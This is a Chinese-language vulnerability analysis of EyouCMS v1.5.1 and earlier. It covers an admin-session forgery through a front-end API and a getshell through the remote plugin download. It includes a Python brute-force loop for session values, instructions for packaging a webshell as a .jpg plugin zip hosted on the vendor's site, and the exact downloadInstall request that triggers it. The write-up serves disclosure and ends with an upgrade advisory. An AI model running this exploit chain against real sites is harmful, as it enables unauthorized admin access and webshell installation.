0x00 漏洞简介 赞赞网络科技 EyouCMS(易优CMS)是中国赞赞网络科技公司的一套基于ThinkPHP的开源内容管理系统(CMS)。 Eyoucms v1.5.1 及以前版本存在任意用户后台登陆与文件包含漏洞,该漏洞使攻击者可以通过调用api,在前台设置一个管理员的session,后台远程插件下载文件包含getshell。 0x01 影响版本EyouCMS = intval(session('admin_info.role_id')))admin_info.role_id (满足小于等于0即可)设置完三个session后,就可以进后台了,如图所示:![image](https://image.3001.net/images/20210420/1618925925_607ed9657fdb8ee4e7336.png!small) 后台远程插件下载getshell在application/admin/controller/Weapp.php:1235 这里传进来一个$url,然后做一个url解析,需要满足host为eyoucms.com。也就是程序限制只能从官网下载插件安装,但是这个校验太简单了,可以绕。然后下文就是请求这个下载链接,做解压操作,并包含进来config.php。 这后面再做的插件标准判断已经不起作用了。 0x04 漏洞利用前台设置一个管理员的session首先我们可以先取出成功登陆后的管理员session与未登录的普通用户session做对比管理员: 普通用户: 调用get_token函数设置名为admin_login_expire的session 再查看该普通用户的session 已成功设置。同样的我们可以把admin_id与admin_info.roke_id添加进去。但是这md5字符串显然不符合漏洞分析中的要求,所以这里通过脚本不断刷新session,直到寻找到合适的md5值 while 1 :
admin_login_expire = api_psot("admin_login_expire")
num_10 = admin_login_expire[2:12]
if is_number(num_10):
print("admin_login_expire=",num_10)
break
while 1 :
role_id = api_psot("admin_info.role_id")
num_1 = role_id[2:3]
if num_1 in ["a","b","c","d","e","f"]:
print("role_id=",num_1)
break
admin_id = api_psot("admin_id")
print("admin_id=",admin_id[2:-1])
运行结果: session: 再经过application/admin/controller/Base.php:58和:106的intval()的转换: 成功使用该PHPSESSID进入后台:![image](https://image.3001.net/images/20210420/1618926381_607edb2d1964781859144.png!small) 后台远程插件下载文件包含getshell然后开始制作恶意压缩包,文件目录结构如下: weappp\weapp\test\config.phpconfig.php文件内容为写入webshell
压缩成weappp.zip,修改后缀为jpg 到eyoucms.com官网寻找图片上传点比如这个提问模块的问题描述:https://www.eyoucms.com/ask/ 获取到上传的图片地址:https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg直接在浏览器中请求下载该插件:http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg 此时webshell已成功写入: 访问webshell:![image](https://image.3001.net/images/20210420/1618926788_607edcc41f6a90df6e22b.png!small) 0x05 修复建议升级EyouCMS至V1.5.2或以后版本。 0x06 参考文章https://mp.weixin.qq.com/s/JBzQ9xz7kVOm0Ll3yT-IRQ
|